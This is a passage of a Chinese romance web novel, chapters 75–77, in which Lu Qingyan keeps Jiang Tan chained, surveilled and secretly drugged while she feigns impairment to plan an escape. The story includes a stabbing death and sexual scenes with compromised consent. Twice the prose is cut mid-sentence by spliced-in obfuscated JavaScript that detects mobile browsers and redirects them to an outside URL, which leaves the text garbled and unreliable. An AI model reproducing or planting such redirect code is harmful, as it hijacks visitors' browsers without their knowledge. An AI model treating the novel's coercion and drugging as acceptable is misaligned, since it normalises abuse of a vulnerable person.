l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369517|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说,得出门好几日吗?” 陆青檐忍着不耐问:“姜昙跑了?” 胡嬷嬷支支吾吾:“没、没……” 陆青檐踢开碍事的下人,看到榻上双眼紧闭的姜昙,松了一口气,她还在。 可是很快,他就发现了不对劲,姜昙看起来一副没有生机的样子。 “姜昙,姜昙?” 陆青檐叫了许久,姜昙终于半睁开双眸,无力地说了一句:“若要杀我,为何不用一个痛快的方式……” 最后几字,淹没在她昏迷而阖上的唇齿间。 门外的胡嬷嬷说:“长公子,夫人这是安神香闻多了,所以头晕想睡觉……” “听那老虔婆放屁!” 院外传来一声怒吼。 紫珠被关在另一院多日,今日见众人慌慌张张,就想来看看姜昙,没想到竟是姜昙这边出了事! 紫珠喊道:“大夫都说了,是吸入了毒烟!这老虔婆指定是夜里偷懒,没照顾好主子,让屋里燃了一夜的炭火!再晚一步,姑娘现在已经去见夫人了!” 管家拦着她不让进,却没拦着不让说话。寝院和府里是分开管的,他有时也不好插手。 地上还跪着外面请来的大夫,接收到陆青檐的眼神,颤颤巍巍说:“是这样。” 说话间,睡着的姜昙忽然趴到床边,吐了一地酸水,身体止不住地痉挛。 陆青檐接住她往下掉的身体,姜昙撑起身体,看着还算正常。 然而仅仅是看着正常。 姜昙觉得头疼,喉咙疼,眼睛疼,浑身不舒服。耳朵里还有什么尖锐的声音在吵。 她捂着脑袋,盯着陆青檐看了一会儿,能看出三个陆青檐来。 “别吵了!” 姜昙摇了摇脑袋,结果摇得身体左摇右晃,整个人瘫在陆青檐怀里。 大夫忽然指着姜昙:“病患口吐白沫,快将脸拨往一侧,口中秽物擦干净,否则会憋死的!” 陆青檐咬牙切齿地将大夫拖过来:“你来!” 他看着那大夫过来把脉,忽而脸色发白:“尊夫人气息没了……” “滚开!” “姜昙,姜昙?” 陆青檐反复叫着姜昙的名字,她怎么都不肯应,他迅速将唇贴了上去。 他曾经很奇怪,为什么自己溺水之后,姜昙会亲自己。像是亲吻,却又不像是亲吻。 只记得昏暗的水中带走了人的气息,浑身冰凉犹如置身于阴曹地府。这时一口生气渡过来,将他从阴曹地府抢了回来。 他便去看了那医书,仔仔细细,一遍又一遍。 “对,是这样。”那大夫是个多嘴的大夫,指点陆青檐说:“再用双手按压病患胸腔……尊夫人有呼吸了!” 姜昙终于睁开了眼睛。 她的头还是又痛又晕,身上还很疲累,只看了陆青檐一眼,再次睡过去。 陆青檐喘息着让开,手脚发软。 那大夫抽出银针,往姜昙身上扎了许多根: “尊夫人手臂上有肿块,都是吸入毒气所致。看夫人脉象应是睡不好,应当能够发现不对,怎么会……啊!” 他说:“夫人发现了。” 陆青檐顺着视线看去,姜昙指甲缝中有许多木屑,其中还有殷红的鲜血。 床面上有凄厉的十指抓痕,抓破了漆面,露出里面的木材来。 “瞧着是求救无门,于是想自救,可惜吸入毒烟,手脚无力,故而才留下的。” 陆青檐不阻止他,大夫胆子就大了起来,喃喃自语:“这也不对,按说不该只在此处挣扎,至少要到地上去。” 说到这里,陆青檐忽然想起来,掀开床尾的帐子,抬起被子,看到铁链中姜昙的脚已磨出了一圈圈血痕。 她当然是跑不了的。 有铁链锁着,姜昙只能痛苦地挣扎,等死。 意识到这件事的同时,陆青檐脑中乍然一痛。他提剑迅速往门外去,经过门口时拖了胡嬷嬷的衣领:“滚过来!” 邓显也听闻这件事赶了回来,劝道:“长公子,何须脏了你的手?属下将她拖至密牢里慢慢折磨,人多眼杂,若传出去就不好了。” 陆青檐眼下哪还顾得眼杂不眼杂,一腔怒气无处发泄。 提剑就刺了胡嬷嬷一剑,很快拔出来,又刺一剑。 连刺几剑,他才慢慢折磨她。 陆青檐咬牙切齿地在胡嬷嬷手臂上刺了一剑:“你这个老东西怎么敢的?你为什么不去死!” 胡嬷嬷口中涌出污血:“老奴……都是按您的吩咐……办的……您以前不也是这么做……的……” 陆青檐顿住。 胡嬷嬷咽气了。 事情发生得太快,围观的下人瑟瑟发抖低着头,却偷摸着将这件事看了个清清楚楚。 邓显跪下说:“是属下的错,此人是新近有名的奶嬷嬷,属下想着……” 陆青檐想起来,他以前是跟邓显提过一句,想要姜昙为他生一个儿子。 是谁的错呢? 陆青檐眼前发黑,摇晃着回去,却没跨过门槛,狼狈地摔到在地。 姜昙断断续续醒了几次,三日后彻底醒了过来。 睁眼就是陆青檐一脸憔悴的模样。 两相对视,姜昙坐起来,重重推了陆青檐一把:“你要是想杀我,我绝不反抗,为什么用这种折磨我的方式!” 陆青檐竟被他推到了地上。 不知道是她的力气太大,还是陆青檐太虚弱了。 陆青檐面无表情地看着她,眼中藏着不分明的情绪。 姜昙脑子空白了一瞬,看到门口的护卫,如今护卫守门都守得这么近了。 她掀开被子下床,边去抽护卫的剑边说:“我没死掉,你很失望是不是?不用你动手,我自己来!” 护卫眼疾手快地退让,没让姜昙得逞。 只是一瞬间,姜昙就从腰后被抱住,她扭头对陆青檐说:“这又是什么手段?是觉得杀了我太痛快,所以又要绑着我灌药,或者压住我的四肢把我绑起来吗?” 陆青檐脸上是一种奇怪的情绪,他的手指探了过来:“别哭了。” 姜昙平静下来,不再挣扎。 她任由陆青檐将自己紧紧抱在怀里,听着他一遍又一遍说:“别哭了。” 姜昙的手指被握住,触碰到陆青檐的手掌时,发觉那里有微不可见的痕迹。 是被陆国公斩断的第六指。 姜昙的声音哽咽着:“能不能别绑我了,我不想待在这里。” 说话时,她的身体颤抖着,仿佛又想起了被人像疯子一样绑着,害怕得不能自已。 陆青檐沉默了一会儿:“好。” 76. 第 76 章 陆青檐发现,姜昙开始变得很不一样。 她分明和以前一样,却又和以前不一样。 尤其是婢女们在的时候,她会不自觉地颤抖起来,明明和自己在说着话,眼神却往婢女们身上飘,警惕而敏感,仿佛下一刻婢女们会化身野兽,往她身上撕咬。 若此时有一个婢女稍微做出什么动作,哪怕是打哈欠,她都能吓一跳,不停地找东西躲起来。 找不到东西,就反常地往他怀里躲,像是一只受惊的猫,连同手脚一起蜷缩起来。 鞋也不脱,将他的衣服踩得脏兮兮。 最重要的是,她搭在他腰上的手,还会抓住他的头发。一旦试图将她分开,她就用力地拽着他的头发。 他甚至怀疑她是故意的。 然而此时将她的脸拨过来,就会发现她眼睛睁得大大的,泪水安静地流了许多,怎么擦也擦不尽。 她在害怕。 除去这些时候,与姜昙说话时,她仍旧对他爱搭不理。 只要他在身边,她就沉浸在自己的世界里。但他稍微露出一点离开的趋势,她便又紧紧跟过来。 有时为了不让他离开,还会做出一些讨好的举动,比如亲吻。 这太不像姜昙了。 他就又去找了孙太医。 “您想问的是……”孙太医隐晦地说:“尊夫人是不是变傻了?” 陆青檐的眼风冷飕飕地飘过来:“我何时这么说过?” 说完,他又想起自己艰难地从姜昙身边离开的情形。 察觉他要出门的时候,她紧紧过来抱住他的腰,这种窒息的依赖感让陆青檐很喜欢。 可是紧接着,她就把他当成了一棵树,试图往上攀。此时他轻轻推了一下,只是很轻的一下,她就抓着他的头发,越来越用力。 百忙之中,他终于想起了那个叫紫珠的贴身婢女。 姜昙看见紫珠后,症状果然好了许多,只是把依赖的对象从他变成了紫珠。他发现,只要他和紫珠两人任何一人在,她就是正常的。 陆青檐有些嫉妒—— 在她的心里,自己的地位竟和一个婢女差不多? 不过好在是贴身婢女、从小一起长大、十几年的陪伴情谊、亲如姐妹一般…… “长公子?长公子?”孙太医叫了两声,陆青檐才回神。 孙太医解释说:“若吸入毒烟较轻者,只是出现头痛、喉痛等轻微症状。可若吸入毒烟过多,会让人神思恍惚,不仅记不住事,还会变傻……变得反常。” 看到陆青檐,孙太医及时改口:“上次为夫人看过,据您之前所说,已到了气息停滞的地步,所以……” 所以姜昙真的变傻了。 陆青檐皱眉:“什么时候能治好?” 孙太医摇头:“民间有此症者,多的是中毒死去的人。就算侥幸活下来,也变成了痴呆,一生如此。” 也就是说,姜昙这样已经算是侥幸,今后一辈子都是这样。 想起那个仆妇,陆青檐咬牙,还是死的太容易了。 回府时,没在寝院看到姜昙,陆青檐的心一下子揪紧,抓住一个婢女问:“姜昙去哪了?” 婢女说:“夫人在、在厨房。” 陆青檐赶去厨房。 走到门口,听到里面传来对话声: “姑娘,这样真的可行吗?” “你还信不过我?” 语气如此沉稳镇定,完全不像孙太医口中的痴傻之人……姜昙是故意装的! 陆青檐带着怒意大步进去,却见姜昙正往锅里倒着什么东西,仔细一看,竟是药材。 “你在做什么?” 瞧见他来,姜昙十分肯定指着锅里:“药膳。” 听说在扬州陆家时,她就爱捣鼓药膳吃食,如今估计是想起来了。 可……药膳是这样的吗? 一旁的大厨子伸手阻止:“夫人呐!哪有做药膳药比膳还多的!” 陆青檐斜了厨子一眼,后者立时不敢说话了,任由姜昙霍霍他的厨具。 “对,我忘了。” 姜昙恍然大悟,面上看着十分正常,手指在几味药材之间犹豫片刻,随后闭眼抓了一把不知是什么的东西,倒进锅里搅了搅。 然后她开始发呆。 过了片刻,她将药材全部倒进去,厨子不忍直视地撇过脸去。 “玩够了,我们回去。”陆青檐朝她伸手。 姜昙却飞速盛了一碗:“饭好了,谁先吃?” 厨房里几个下人躲得一个比一个远。 姜昙找不到人,见陆青檐伸着手,便将碗放到了他的手中。 姜昙冷冷撇他一眼:“便宜你了。” 黑乎乎的一坨,丑得非常有特色,陆青檐一瞬间是想把碗丢出去的。 姜昙的记忆受损,连药材和份量也记得模糊,如今做出来这么一碗不知成分的东西,效用也是未知的。 厨子拼命朝他摇头,示意不要吃。 那个叫紫珠的婢女捏着鼻子,竟然比所有人离得更远。 思索间,姜昙就跃跃欲试,准备自己尝一口。 陆青檐眼疾手快地把碗挪开:“我吃。” 他捏着羹勺,只是凑近了一点,刺鼻的味道就直冲脑门。忍着恶心尝了一口,陆青檐说不出话来。 他牵着姜昙的手往回走,背后有人地上巾帕,他扭头吐了,又把碗丢至一边。 此刻倒真希望姜昙是个傻子,能尽快把这件事忘了。 看不到紫珠,姜昙肉眼可见地偷偷摸摸起来,几乎要趴着走。 陆青檐紧了紧手指,姜昙才发现他一样,紧紧地靠了上来。 她很矛盾,面上带着恐慌和十分嫌弃,但很实在地贴着陆青檐,恨不得长在他身上。 两人走得十分艰难,一刻钟的时间才挪到书房里。 陆青檐积了一段时日的公务,坐到书案前准备处理。 此刻书房内无人,护卫们远远地守着,姜昙又放开了他。 陆青檐心中弥漫出一股细细的疼痛,针扎一样,他牵住她的手:“我已经料理过那些下人,为你狠狠地出过气了。” 姜昙推开他的手,坐在靠门的位置,看起来想出去,却又不敢出去。 陆青檐觉得头疼。 不知什么时候睡了过去,蓦然惊醒时,发觉天色已昏暗下来,屋子里黑漆漆的。 “人都死了吗!”陆青檐将砚台丢出去:“谁许你们不点灯!” 砚台砸在地上,发出沉闷的声响——砸到人了。 他忽然想起来姜昙还在这。 陆青檐急忙从书案后站起来,摸索着往前走:“阿昙,你有没有事?” 姜昙没有说话,但陆青檐听得到她的呼吸。 刘武匆匆赶来。 与此同时,陆青檐脚下绊到一本书,摔在了地上。 “出去!” 不是下人们没点灯,而是他看不见了。只有瞎子,每走一步才觉得脚下虚浮,就算踩到一本书,也能让他们摔得狼狈。 痛意自额头弥漫开来。 陆青檐捂着脑袋,心中烦躁,很想杀人。 他记得书案抽屉里有匕首,于是四处摸索着,忽然摸到了一双温热的手。 姜昙说:“抽屉里有书,有盒子,有刀,你要什么?” “我要你。” 陆青檐牢牢抓住她的手。 姜昙思索片刻:“你是瞎子?” 这话说得可真难听,陆青檐回道:“你是傻子。” 姜昙冷笑了一声。 她抽出一只手,在桌上悉悉索索做些什么,像是在写字。 过了一会儿,得意地说:“陆青檐,你完了。你的公文都被我画花了。” ……这是奏折。 陆青檐的脸色有一瞬黑了。 他看不见,不清楚她说的是真话还是假话,不过应该是真的,姜昙真的敢这么做。 好不容易写好的,又要重头再来。 “你也完了!” 陆青檐松开她的手,大步准备离开书房,让她一个人在这里。 “等等!” 她恐慌无措地追上来:“别走,别走!趁你不在的时候,她们会把我扒皮抽筋!” 她的反应在意料之中。 手脚紧紧攀附着,同时胡乱亲吻着他。 陆青檐很喜欢她主动的亲近,这种死死不放的感情让他感到头皮发麻。 然而听到她后半句话,陆青檐浑身的血沸腾之余,还是不可抑制地感到心疼。 “是我的错,我不该那么对你,我错了。” 往日敢设计他的姜昙,如今动辄害怕颤抖。在他不在的时候,那几个该死的婢女究竟对她做了什么? 每思及此,他就恨得牙痒痒。 陆青檐不停地致歉。 姜昙的吻落得逐渐迟疑,他享受这种感觉,坏意地推她,姜昙便更加用力地抱上来。 陆青檐跌跌撞撞地摸到书案,把姜昙放在上面。 此刻他想看她,迫切地想看她的表情。他见过那样的眼神,珍视地缠着他,好像将自己的生死也绑在自己身上。 看起来死也不会放开他。 这时,门外忽然有动静:“长公子?尚书传召。” 姜昙听到外人动静,不管不顾地将手脚缩进他怀里,瑟瑟发抖。 陆青檐荡漾的心神散得干干净净:“知道了。” 他叹气将抽屉的药吞咽下去,等了片刻,眼前看得清东西,明亮的灯光下,是缩成一团的姜昙。 陆青檐摸摸她的脸:“我叫紫珠来陪你。” 姜昙死死捂住脑袋,手上磨得浑圆的指甲,在自己的手臂上露出道道白痕。 “别抓了。” 陆青檐不厌其烦地把她的手指包起来,等紫珠到后,看了一眼姜昙,便将书房留给她。 晚上的姜昙,比白天更加警惕,她不敢走夜路,挣扎得比白天更加剧烈。 陆青檐离开前吩咐守门的护卫:“都离远一点,不许让夫人看见你们。” 护卫们便离得更远。 紫珠将姜昙搂在怀里:“姑娘,没事了。” 姜昙泪珠还在往下掉,眼睛睁得大大的:“我害怕。” 紫珠看了看四周,见没有人正要说话,姜昙忽然抱住她:“我害怕。” 紫珠顿时不敢动了。 书房门外,几个护卫远远站着。另外有黑衣人分别潜伏在窗下、房梁,像是砖缝里的爬虫,一眼不错地窥视书房里的动静。 陆青檐自尚书府回来后,直奔书房,问起护卫:“可有异常?” 护卫与暗处的伙伴对视一眼,说:“没什么异常,只是……有一人不慎露出痕迹,夫人受惊了。” “自去领罚!” 陆青檐顿了顿:“让他们都撤下去。” 回到书房,果然见姜昙躲在桌子底下。此时将近天明,她或许是昏昏欲睡时无意间看见暗处的护卫,吓得不敢闭眼,一直躲到现在。 连紫珠在外面都不肯出来。 陆青檐瞧了紫珠一眼,后者立刻识趣地出去。 姜昙的眼珠钉在紫珠身上,直到她离开,才落到他身上,固执地不肯放松。 他低声哄着:“出来。” 姜昙不肯动,他硬拉她出来,又被紧紧地箍住。 她惊恐地对他说:“有眼睛,窗户上有很多眼睛!” 陆青檐抚着姜昙的头发:“我担心你的安全,以后不会有了。” 姜昙不信,又开始扯他的头发。 陆青檐嘶嘶吸着气,看见外面天色渐亮,打算抱她出去:“我们回去睡觉。” 姜昙反反复复说:“有眼睛!” “没有眼睛。”陆青檐就这么托着她,将窗户打开给她看,带她一寸一寸走过先前暗处的人盯视的位置:“你瞧,真的没有。” 早就让他们回去了,只有外面站着的护卫。 何况他在这里,足以应付姜昙。 陆青檐抱着她出门,还未踏出书房,就察觉到姜昙更紧的力道。 外面天色还未彻底分明,她还是不肯出去。 那就在这里。 陆青檐吩咐下人去准备被褥。 只是离开了一会儿,姜昙就按耐不住地撵上来,勒得他喘不过气。 “松一松。” 姜昙大概以为他要走,反而抓得更紧了,又用起先前的伎俩,不停地在他的嘴角亲吻。 然而她的技巧却很单调,只是在外面磨蹭着,说是亲吻,不如说是咬,只有一股不管不顾的莽撞劲头。 如此也让人十分喜欢。 陆青檐撬开她的唇齿:“这样才对。” 他耐心地教导,她却没有耐心学,手指灵巧地穿插进入他的衣襟,从他心口旧伤,一寸一寸地游移至腰际。 陆青檐一口气息被她摸得泄成几段。 “姜昙……” 他只说了两个字,她就又像之前那样啃了上来。 先是啃他的嘴唇,又啃他的下巴,最后啃上他的喉结。 她的力道不轻不重,让他很想将她从身上掀开掌握主动权。然而她的手指又胆大包天地往下,玩弄到了往日不曾涉及的地方。 “长公子?” 管家敲了敲门,忽然从未掩好的门缝里看见两人的姿势,连忙关紧了门。 “离远点,都离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14389920|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远点!” 护卫们也都被赶走老远。 陆青檐的手臂向后撑着书案,一只手腾出来要去抓姜昙,却被她作弄得深吸一口气,险些站不住。 于是这只手又撑在了桌案,手臂上青筋毕现,紧紧抠住桌边的木屑。 他低头看她,额头都是汗。 她到底要作弄他到什么时候? 看似大胆,实则手生得很,偏偏时机又抓得极巧,就算隔着衣摆,也知道他何时崩溃。 毕竟只剩一层了。 “上来。” 陆青檐忍不住去拉她。 她很听话任由他剥开衣服,有样学样去抓他的腰带,入巷驰骋的那一刻,他察觉到了不一样的地方。 今日是她作弄他,然而进入并不滞涩。 很快陆青檐就察觉到了原因,因为药力散去,他逐渐看不起她的脸,然而眼下却有清泪流出来。 服药的后遗症。 “你喜欢我这个样子?” 他将她拉近,依旧看不清她的脸,可是她却看得清他的脸。 一瞬间的变化,陆青檐察觉到,姜昙就是喜欢他这个样子—— 他的脸也有让姜昙喜欢的时候。 姜昙忽然咬了他一下。 陆青檐急促地喘了口气,轻快地笑起来:“原来……我们的喜好、一样。” 姜昙在他身上挣扎,摸来摸去好像在摸索什么,念头滑过的一瞬间,她有用指甲抠起他的伤疤。 陆青檐浑身紧绷,抱着她换了个位置。 两人衣裳未除尽,腰带掉在桌上。 姜昙又开始揪他的头发。 陆青檐在快乐与痛苦的边缘来回转换:“松一松……不,别松……松一松!不,还是不要松了……” 约莫是他太矛盾,让她也跟着难做。 姜昙揪断他几根头发,最后捂住他的嘴唇,狠狠说:“不许出声。” 就像他之前对她做的那样,他潜意识里要报复回来。 一夜畅快的旖旎,陆青檐最后睡了过去。 姜昙从他怀里睁眼,看到陆青檐的私印就在手边,于是抓了过来,重重在手心捏了一下。 再松开手,是一个鲜红的印记。 陆青檐的官印在书房,但是不起作用。他的私印随身携带,许多官员都认得,比官印顶用得多。 她得感谢之前那个仆妇,给她用了那么多迷药和安神香,如今只有一点对她不起作用,反而把陆青檐迷晕了过去。 不知道他醒来会不会怀疑,得想办法转移他的注意力。 姜昙看了看手心,还有断掉的发丝,胡乱地打着卷。 刚才摘了陆青檐的官帽,姜昙摸索了一番,他的发髻上并没有簪子,这屋里只有那把锋利的匕首。但如果拿走,一定会被陆青檐察觉,所以不能动。 姜昙气得又揪了一把陆青檐的头发。 即使有迷药,他也一副不安稳的模样,像是随时都能挣扎醒来。 姜昙想了想,把他的发髻扯开,勾到头发直接揪断,丝毫不可惜。 再次醒来,已经到了黄昏傍晚。 陆青檐睁开眼睛,一地混乱。 昨夜闹得太过,衣服零零散散掉了一地,依稀记得让下人们进来清理过。 原本要铺在榻上的被子直接铺到了地上,此刻也不在他的身上,而外姜昙的身上。 她又躲到了桌子下面,严严实实地将自己裹起来,只留着他一个人光秃秃地躺在那里。 陆青檐从地上起来,打了一个喷嚏,惊醒了沉睡的姜昙。她睁开眼睛,惊恐地看着自己。 陆青檐朝她伸开手。 姜昙却反常地不来缠他,反而把脸扭过去。 他也不在意,揉揉鼻子,心道自己会睡这么死,竟然这么不堪地睡了过去。 陆青檐揉了揉额头,忽然察觉不对,往上摸了摸脑袋。 姜昙闭上眼睛。 “装睡?”陆青檐过来捏住她的下巴:“在我头上弄的什么玩意儿?” 姜昙睁眼瞧了一眼他的脑袋,撇过脸去,一副与自己无关的样子。 这屋子里就他们两个人,不是她是谁?那么自私,连被子都不给他盖,一角都不肯得给他。 简直可恶。 陆青檐捏着她的脸颊摇了摇:“那你就一个人在这待着吧。” 反常地很,姜昙没有撵过来,只是看着他的一举一动。 陆青檐胡乱将衣服裹上,推门让下人进来收拾。 自从那件事之后,管家亲自负责负责服侍,并不假手于人。 进门看见室内凌乱就是一惊,抬头看见陆青檐的脑袋又是一惊。 “长公子……头发……” 管家举起铜镜,陆青檐看清自己的模样,脸色一黑。 “姜昙!” 桌子下面的人捂住脑袋。 陆青檐脑门上有红色的印记,那大概是他官印的印泥。 他的头上被绑着密密麻麻的小辫子,如果真是这样也就算了,偏偏两鬓还被削断了一截头发,应是用他抽屉里的匕首削的。 下人们费了好长时间才拆干净他脑袋上的辫子,将他的头发梳好,为难地站到了一边。 陆青檐看着自己两鬓被削得齐肩的头发,深长地吸了一口气。 她还特意给他修得两边一样齐。 一旦亲近,她就闹腾得不成样子,怪道昨天那么听话! “我真想弄死你!”陆青檐披着头发在桌边蹲下:“滚出来!” 姜昙不动。 陆青檐连着被子将她拖出来,看到这么多人在,她又安分了。 出了书房,她整个人往他怀里钻。 现在倒知道怕了! 人人她都怕,怎么就不怕他! 姜昙忽然开口:“你要杀了我吗?” 此时两人已到了寝房,因为她不愿意待在先前的屋子,故而住的是陆青檐的寝房。 别的什么都没带,只把先前的金丝帐带了过来。 日光从帐外渗透进来,金灿灿的一片,落在姜昙的脸上。 她的神色如此平静,仿佛说的不是生死,而是问他吃饭了没有。 陆青檐伸手给她挡日光,那金色便落在他的手背: “你觉得我会杀你?” 姜昙忽然坐起来,用力掐住他的脖颈:“宋庸!为什么这么折磨我!你要是恨我,大可以杀了我!杀了我!来杀了我!” 陆青檐不顾她的挣扎,将她抱在怀里,待她平静下来。 “不杀你,我舍不得杀你。姜昙,我们以后好好的,好不好?” 做一个听话的姜昙。 希望你永远这样下去。 77. 第 77 章(补) 翌日吃完饭后,陆青檐递过来一个琉璃小瓶。 里面装满圆滚滚的褐色丸子,散发出淡淡的甜香。 “什么?” “糖丸。”陆青檐亲自拈起一粒,抵到她唇边。 姜昙静静看着他。 陆青檐笑了笑:“我替你尝过,是甜的。” 说着,糖丸往她唇齿间压了压。 这是非吃不可了。 姜昙与他对视片刻,张嘴吞了下去。 陆青檐默然看她片刻,目光中带着审视,似乎在确认她是否真的咽去了:“这对你没有坏处。” 姜昙乖乖张嘴,口中干干净净,表示自己吃下去了。 陆青檐伸手过来,捏住她的下巴。 他不信,要亲自看。 姜昙的眸子往下一压,看到桌上的琉璃瓶还打开着,一手拿过全部倒进嘴里。 陆青檐的笑意一滞,化作愕然:“不能吃那么多!” 姜昙的嘴巴鼓鼓的,紧闭着不肯打开,含糊着将脑袋偏向一旁:“甜的……” 陆青檐的手劲很大,捏得她下巴疼:“吐出来!” 他掰开姜昙的嘴巴,两指探进去,将糖丸一粒一粒抠出来。 糖衣濡湿粘哒哒的,沾了一手。 陆青檐抬着她的下巴左看右看,确认除了第一粒,剩下的她都吐了出来,微不可见地松了口气:“一天只能吃一粒……算了,我让孙太医重新做一瓶,以后我亲自保管,不许多吃。” 姜昙翻了个白眼。 她站在门口招了招手,候在门外的紫珠过来,两人一起走了。 经过陆青檐特意的安排,一路上都没遇见多余的人。 姜昙蹦蹦跳跳地回到寝院,一关上门,迅速跑到花盆下呕吐。 吐不出来,她就抠着自己的喉咙,反射性的酸意涌上来,刚吃下去不久的午饭被吐出来,其中还有一粒褐色的糖丸。 只是糖丸化得太快,如今只剩一半了。 姜昙浑身寒毛直竖,更加用力地抠着喉咙,直到吐无可吐,她跌跌撞撞地到桌前喝水。 紫珠给她倒水,赶不及她喝的速度。 最后姜昙直接抱着壶灌了起来。 一通折腾下来,姜昙整个人都瘫在地上,紫珠急得直抹泪:“姑娘,到底吃了什么不该吃的?” “他给我的不是糖丸,是药丸。”姜昙口中似乎还残留着那股黏腻的甜意,抿开之后有微微的苦涩。 紫珠低声说:“前段时间也吃过药,不是说安神的药吗?” “不是。” 就算她傻了,陆青檐也防着她尝出来,所以才做成糖丸的样子。 那股涩味……总之不是什么好药。 姜昙悄声看了眼门外,一定有人在盯着,但应该都在远处。 她对紫珠说:“把花盆那儿的土翻一翻,别让人看见。” . 孙太医为难地看着眼前的药丸。 外面包裹的糖衣几乎都融化了,风干后粘在锦盒上,抠都抠不下来。 这一看就是入过口了。 孙太医说:“下官千叮咛万嘱咐,一次不能吃这么多!” “我是傻子吗?”陆青檐眼神不善觑着他:“意外罢了,重做吧。” 先前做一瓶都让他良心难安,又做一瓶,死后他一定会下十八层地狱的。 孙太医犹豫说:“长公子,夫人已经这样了,偶尔恢复神智是福气。旁人求都求不来,您怎么反着来,还要——” 还要下药加重痴傻呢。 后面的话,孙太医没有继续,若再多说一句,他相信眼前这个脾气不好的贵公子,十分有可能拿自己撒气。 孙太医只好继续。 做药时,陆青檐全程在侧观看。 做好后,孙太医仍旧再三重复:“一日最多一粒,绝不可多吃!若是吃多了,轻则痴呆,重则危及性命。” “知道了。”陆青檐还是一副淡淡的模样。 回府之后,天已黑了。 陆青檐问过管家,得知姜昙在寝院玩了半日的翻花绳,又去厨房折腾了半日。 毒烟那事之后,她的精力倒是旺盛。 陆青檐笑了笑,亲自接了姜昙回来,唤人传晚膳。 晚膳端上来一条鱼,两条鱼……全是鱼。 陆青檐沉着脸摔了筷子:“厨房今日是谁掌勺?” 袖子被扯了扯,姜昙指了指自己:“是我。” 管家在他耳边说:“夫人傍晚亲自钓的鱼。” 陆青檐:“……” 下人体贴地取了一双新筷子过来,陆青檐沉默了会儿,拿起了筷子。 他伸着筷子在几道惨不忍睹的菜色里游移,最终挑中一道鱼汤。 鱼肉下不去筷,但汤还是可以喝一口的。 姜昙亲自给他盛了一碗。 刚换了羹勺,往碗里伸去,汤里那条小鱼忽然活了。生龙活虎地甩着鱼尾巴跳动,溅了他一脸水,末了还往他脸上甩了一巴掌。 “……姜昙。” 陆青檐忍无可忍。 方才他并不是没有闻到鱼腥味,只是想着喝一口,忍一下就过去了。没想到事情比他想象的更糟糕,这鱼竟还没死呢! 姜昙握着筷子,面无表情往鱼肚子戳了一记,那鱼终于咽气了。 “不动了。” 她给他抠了一颗鱼眼珠子放在碗里,热心催促:“快吃吧。” 管家看了一眼陆青檐,顿时吓得面无人色,已经跪到地上去了。 “医书上说,鱼眼珠子对瞎子好。”说着,姜昙又抠了一个过去。 她还惦记着他眼睛的事,还算有良心。 陆青檐心情好了些,自动忽略“瞎子”二字,细细品味,心中还有些酸涩的感动:“以前在宋府的时候,你也是这样关心我——” 鱼汤里又一条鱼跳了出来,在桌子上扑腾。 姜昙手忙脚乱地将鱼丢进汤里,悄悄看他一眼。 “……” 陆青檐叹息一声:“明日另给你修一个厨房。” 夜里,两人一起安寝。 姜昙却睡不着,连坐都坐不下来,她不知道从哪弄来的红线,绑在一起要玩翻花绳。 陆青檐近几日很累,没有亲近的心思,却还是抱着她陪她翻。 只是翻着翻着就睡了过去,这时候姜昙就会把他摇醒,用手指撑着他的眼皮不让他闭眼:“起来玩!” 她几乎要把他的眼珠子抠出来了! 陆青檐下意识就要去摸迷药。 然而下一刻,他想起白天给她吃的药丸,不晓得有没有冲突,想想还是算了。 趁他思考的时候,姜昙已从背后扑了上来,扯了他的发髻。前两日被她剪断的头发,在肩上荡得疯狗一样。 这觉是彻底睡不好了。 一连几日,都是如此。 又一日晨起,陆青檐特意吩咐紫珠过来,将姜昙接走,至少要等他睡足了再送过来。 等到无人处,姜昙摸着眼下的青黑,也是困得够呛。 可她不能睡。 姜昙拎着鱼竿在河边钓鱼,只有在这时候,她才能顺理成章地把人赶走,以免他们吓到鱼儿。 有紫珠挡着她,姜昙迅速把荷包拆开。 自从上一次之后,陆青檐把她房里所有的香囊都丢了出去,也不许她再做针线活,就连婢女们身上也不得佩戴。 每日起床穿衣的时候,还会有婢女一一搜索过她睡过的床、翻过的书,触碰到的任何物品,都会被再三检查。 就连紫珠也要被每日搜身。 只有这个荷包留了下来,因为是陆青檐亲手做的,正面一个“昙”字,背面一个“庸”字。 婢女们没人敢碰。 所以只有这一处能藏东西。 拆开荷包,里面藏着她画的路线图。 置之死地而后生,吸入毒烟后陆青檐对她放松警惕,可姜昙也确实感觉到,自己有些记不住事。 为了防止先前记住的路线图忘掉,她就寻机画了下来。 路线图摊开看像繁复的枝叶,中间却留着墨色稍浅的一条路线,那是她设计的逃跑路线。 初次以外,还有一个印章的纹样——陆青檐的私印。 她要想办法复刻一个出来。 紫珠小声提醒:“姑娘,有人来了!” 姜昙连忙将纸塞回去,背后已经有一个婢女匆匆过来:“夫人,您手里是什么?” 那婢女叫做婵婵。 类似大丫鬟的地位,警惕心很强。当初搜到陆青檐做的荷包,她还不信,去找陆青檐问过后才还给她。 姜昙抱住脑袋:“走远点!你把我的鱼吓跑了!” 知道她害怕婢女们,所以陆青檐往常都让人站得远远的。然而他不会彻底放开对她的监视,只会更加小心。 到了有异常的时候,这些婢女还是会不顾先前的吩咐,无孔不入。即使姜昙害怕,她们也只会将态度放得更柔和卑微,丝毫不会退却。 “鱼儿还会再回来的,奴婢就耽搁您一会儿工夫,看完就走。”婵婵不依不饶:“夫人,您手里是什么?” 紫珠挡在姜昙身前:“你是什么身份,也敢对夫人无礼?前些日子的教训都忘了?” 婵婵当然记得胡嬷嬷的下场,可她更知道这是陆青檐赐予的惩罚。 婵婵跪下来,不容拒绝地伸手过来,嘴上却是一副哀求的面容:“夫人,让我看看吧。” 紫珠和她拉扯起来。 越争执下去,越是表明心里有鬼。闹到陆青檐那里,更是不能善终。 